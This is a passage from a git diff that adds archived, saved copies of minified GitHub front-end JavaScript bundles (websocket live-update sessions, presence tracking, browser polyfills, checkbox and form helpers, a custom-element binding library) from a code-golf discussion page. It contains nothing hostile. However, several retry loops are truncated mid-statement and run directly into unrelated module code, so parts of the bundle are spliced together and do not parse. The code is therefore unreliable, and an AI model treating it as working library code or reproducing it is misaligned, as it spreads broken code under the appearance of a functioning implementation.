Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 0,headers:s.headers,credentials:"same-origin"}),c={url:r.url,status:r.status,statusText:r.statusText,headers:r.headers,text:"",get json(){const h=this,A=JSON.parse(h.text);return delete h.json,h.json=A,h.json},get html(){const h=this;return delete h.html,h.html=_(document,h.text),h.html}},b=await r.text();if(c.text=b,r.ok)return c;throw new i("request failed",c)}n(R,"remoteSubmit")},90420:(M,C,$)=>{$.d(C,{Lj:()=>s,Ih:()=>w,fA:()=>N,GO:()=>O});const _=new WeakSet;function x(e){_.add(e),e.shadowRoot&&i(e.shadowRoot),v(e),m(e.ownerDocument)}n(x,"bind");function i(e){v(e),m(e)}n(i,"bindShadow");const g=new WeakMap;function m(e=document){if(g.has(e))return g.get(e);let t=!1;const o=new MutationObserver(p=>{for(const y of p)if(y.type==="attributes"&&y.target instanceof Element)S(y.target);else if(y.type==="childList"&&y.addedNodes.length)for(const k of y.addedNodes)k instanceof Element&&v(k)});o.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const u={get closed(){return t},unsubscribe(){t=!0,g.delete(e),o.disconnect()}};return g.set(e,u),u}n(m,"listenForBind");function v(e){for(const t of e.querySelectorAll("[data-action]"))S(t);e instanceof Element&&e.hasAttribute("data-action")&&S(e)}n(v,"bindElements");function d(e){const t=e.currentTarget;for(const o of f(t))if(e.type===o.type){const u=t.closest(o.tag);_.has(u)&&typeof u[o.method]=="function"&&u[o.method](e);const p=t.getRootNode();if(p instanceof ShadowRoot&&_.has(p.host)&&p.host.matches(o.tag)){const y=p.host;typeof y[o.method]=="function"&&y[o.method](e)}}}n(d,"handleEvent");function*f(e){for(const t of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const o=t.lastIndexOf(":"),u=Math.max(0,t.lastIndexOf("#"))||t.length;yield{type:t.slice(0,o),tag:t.slice(o+1,u),method:t.slice(u+1)||"handleEvent"}}}n(f,"bindings");function S(e){for(const t of f(e))e.addEventListener(t.type,d)}n(S,"bindActions");function T(e,t){const o=e.tagName.toLowerCase();if(e.shadowRoot){for(const u of e.shadowRoot.querySelectorAll(`[data-target~="${o}.${t}"]`))if(!u.closest(o))return u}for(const u of e.querySelectorAll(`[data-target~="${o}.${t}"]`))if(u.closest(o)===e)return u}n(T,"findTarget");function q(e,t){const o=e.tagName.toLowerCase(),u=[];if(e.shadowRoot)for(const p of e.shadowRoot.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)||u.push(p);for(const p of e.querySelectorAll(`[data-targets~="${o}.${t}"]`))p.closest(o)===e&&u.push(p);return u}n(q,"findTargets");function N(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return T(this,t)}})}n(N,"target");function O(e,t){return Object.defineProperty(e,t,{configurable:!0,get(){return q(this,t)}})}n(O,"targets");function L(e){const t=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(t)||(window[e.name]=e,window.customElements.define(t,e))}n(L,"register");function P(e){for(const t of e.querySelectorAll("template[data-shadowroot]"))t.parentElement===e&&e.attachShadow({mode:t.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(t.content.cloneNode(!0))}n(P,"autoShadowRoot");const R=new WeakMap;function s(e,t){R.has(e)||R.set(e,[]),R.get(e).push(t)}n(s,"attr");function r(e,t){t||(t=c(Object.getPrototypeOf(e)));for(const o of t){const u=e[o],p=b(o);let y={configurable:!0,get(){return this.getAttribute(p)||""},set(k){this.setAttribute(p,k||"")}};typeof u=="number"?y={configurable:!0,get(){return Number(this.getAttribute(p)||0)},set(k){this.setAttribute(p,k)}}:typeof u=="boolean"&&(y={configurable:!0,get(){return this.hasAttribute(p)},set(k){this.toggleAttribute(p,k)}}),Object.defineProperty(e,o,y),o in e&&!e.hasAttribute(p)&&y.set.call(e,u)}}n(r,"initializeAttrs");function c(e){const t=new Set;let o=e;for(;o&&o!==HTMLElement;){const u=R.get(o)||[];for(const p of u)t.add(p);o=Object.getPrototypeOf(o)}return t}n(c,"getAttrNames");function b(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}n(b,"attrToAttributeName");function h(e){let t=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...c(e.prototype)].map(b).concat(t)},set(o){t=o}})}n(h,"defineObservedAttributes");const A=new WeakSet;function E(e,t){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),A.add(e),P(e),r(e),x(e),t&&t.call(e),e.shadowRoot&&i(e.shadowRoot)}n(E,"initializeInstance");function a(e){h(e),L(e)}n(a,"initializeClass");function l(e){return A.has(e)}n(l,"initialized");function 